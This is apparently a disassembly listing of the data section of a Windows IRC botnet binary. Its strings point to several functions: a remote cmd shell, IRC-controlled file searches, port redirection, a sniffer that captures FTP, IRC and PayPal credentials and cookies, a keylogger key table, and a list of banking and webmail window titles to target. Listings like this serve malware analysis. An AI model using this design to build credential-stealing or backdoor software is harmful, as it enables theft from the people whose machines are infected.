asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh
dword_437474	dd 2 dup(0)		; DATA XREF: sub_562ABA+88F5o
					; sub_562ABA+88FDo
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
